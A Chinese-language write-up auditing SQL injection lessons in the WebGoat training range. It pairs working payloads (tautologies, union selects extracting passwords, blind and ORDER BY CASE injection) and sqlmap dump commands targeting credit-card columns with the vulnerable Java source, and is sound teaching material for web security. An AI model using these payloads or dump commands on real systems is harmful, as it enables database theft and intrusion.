这里是普通文章模块栏目内容页
WebGoat源码审计之SQL注入篇

WebGoat是一个基于java写的开源漏洞靶场,本期斗哥带来WebGoat的SQL注入攻击例子及相对应的JAVA源码审计。

0×01 String SQL Injection

这个注入页面是页面,该页面的主要功能是让我们输入用户名从而获取用户名的信息,此处存在SQL注入。

注入.png

输入Smith得到Smith用户的账户信息。

账户 信息.png

输入Smith’ and 1=1 –+页面为正常查询结果。

结果.png

输入Smith’ and 1=2 –+页面显示 No results matched,由此判断存在SQL注入。

sql.png

输入Smith’ or 1=1 –+得到所有用户信息,完成实验要求。

shiyan.png

进一步去利用这个SQLi,此处后端数据库使用的是HSQLDB,根据sqlmap的提示得到了更多的注入手段。

把请求的数据包保存成一个txt文件,叫url.txt。

URL.png

python sqlmap.py -r url.txt

TXT.png

python sqlmap.py -r url.txt -D “PUBLIC” -T USER_DATA -C “USERID,FIRST_NAME,LAST_NAME,CC_NUMBER,CC_TYPE” –dump

dump.png

该漏洞链接 :

 

漏洞文件 :

D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\introduction\SqlInjectionLesson5a.java

该文件开头导入了sql的相关包。

xiangguanbao.png

在该文件的第48~67行,可以看到用到了该文件先是获取POST请求中文中account的值拼接到SQL语句,由executeQuery函数执行了该语句。

yuju.png

由于从获取值,到拼接查询整个过程,代码并未对用户输入做任何处理,导致输入用户可控从而造成SQL注入漏洞,另外此处的注入类型为字符型注入,由语句String query = “SELECT * FROM user_data WHERE last_name = ‘” + accountName + “‘”;便可知晓。

0×02 Numeric SQL Injection

这个注入页面是页面,该页面的主要功能是通过用户ID来获取用户信息。

xinxi.png

输入101得到该ID账户的信息。

#p#分页标题#e#

101.png

输入101 or 1=1得到该所有账户的信息。

suoyou.png

此处为数字型的SQL注入,漏洞代码和字符型的代码漏洞几乎没什么区别。 

漏洞文件 。

D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\introduction\SqlInjectionLesson5b.java

wenjian.png

0×03 Advanced SQL Injection

这个注入页面是页面,该页面的主要目的是让我们执行union查询获得Dave这个账号的密码。

 

mima.png

根据所给的信息。

xinxi.png

可知存在密码的表名为user_system_data,列为password 

Smith’ order by 7–为正常页面。

zhengchang.png

Smith’ order by 8–报错,说明列数为7。

列数.png

Smith’ union select null,null,null,null,null,null,null from user_system_data –联合查询判断数据回显列位置。

回显.png

Smith’ union select null,user_name,password,null,null,null,null from user_system_data –获取用户名密码,得到dave密码是dave。

dave.png

0×04 Blind SQL Injection

这个注入页面是页面,该页面有两个功能,一处是登陆,一处是注册功能。

功能 1.png

功能 1.png

功能 2.png

此处文件为D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\advanced\SqlInjectionChallenge.java

在代码的77~87行处,是对于登陆的后端代码处理。

后端.png

先是获取POST请求正文username_login和password_login的值,然后使用prepareStatement()来预编译处理SQL语句,该函数可以防止SQL攻击。 

该处PreparedStatement的使用说明

• 使用了connection的prepareStatement(String_sql)即创建时与一条SQL模版绑定。

• 调用PreparedStatement的setString()方法为?设置值。

• 调用executeQuery()方法执行。

在代码的40~63行处,是对于注册的后端代码处理。

#p#分页标题#e#

63.png

可以发现,在注册之前做了一个用户名是否注册的判断,而该操作执行的是checkUserQuery这条拼接的SQL语句,此处存在SQL注入,注入参数为username_req。

username_reg=test提示用户创建。

创建.png

username_reg=test再次发送提示用户已创建。

再次.png

即构造语句为假,则创建用户,提示用户创建;构造语句为真,则提示用户已经创建。

username_reg=retest_01′and ’1′=’1语句为假提示用户创建。

假.png

username_reg=retest_01′and ’1′=’1再次发送语句为真,提示用户存在。

真.png

username_reg=retest_01′and ’1′=’2构造语句为真,始终提示用户创建。

始终.png

此处存在SQL盲注,需要了解HSQLDB的语句,进一步获取注入出更多的数据,下面是Sqlmap的POC建议。

poc.png

0×05 Order by 绕过预编译

order.png

预编译的语句并不是能够防御住所有的SQL注入攻击,这边是HSQLDB的order by 语句的语法规范。

规范.png

这意味这orderExpression可以是一个selectExpression也可以是一个函数。 

例如使用一个case语句。 

select * from users order by (case when (true) then lastname else firstname) 

因此可以用任何布尔类型来替代when(…)的一部分,从而判断语句是否起作用。

这个我搭建了一个简单的HSQLDB的环境,根据这个 地址教程搭建的。

select * from category

ry.png

select * from category order by(case when (true) then NAME end)

#p#分页标题#e#

end.png

在页面存在类似的漏洞。

类似.png

发起排序请求:

paixu.png

按照ID来排序:

ID.png

按照IP来排序:

IP.png

相对应的源代码文件是D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\mitigation\Servers.java 

在代码44~54行规定这个排序功能,采用的仍然是预编译的方式。

fangshi.png

(case when (true) then id else ip end)的URL编码是: 

%28case%20when%20%28true%29%20then%20id%20else%20ip%20end%29

URL 1.png

(case when (false) then id else ip end)的URL编码是: 

%28case%20when%20%28false%29%20then%20id%20else%20ip%20end%29

url  2.png

进一步了解HSQLDB的语法就可以利用order by 获取更多的数据了。

qrcode_for_gh_223e082fe8a7_344.jpg

收藏
0
有帮助
0
没帮助
0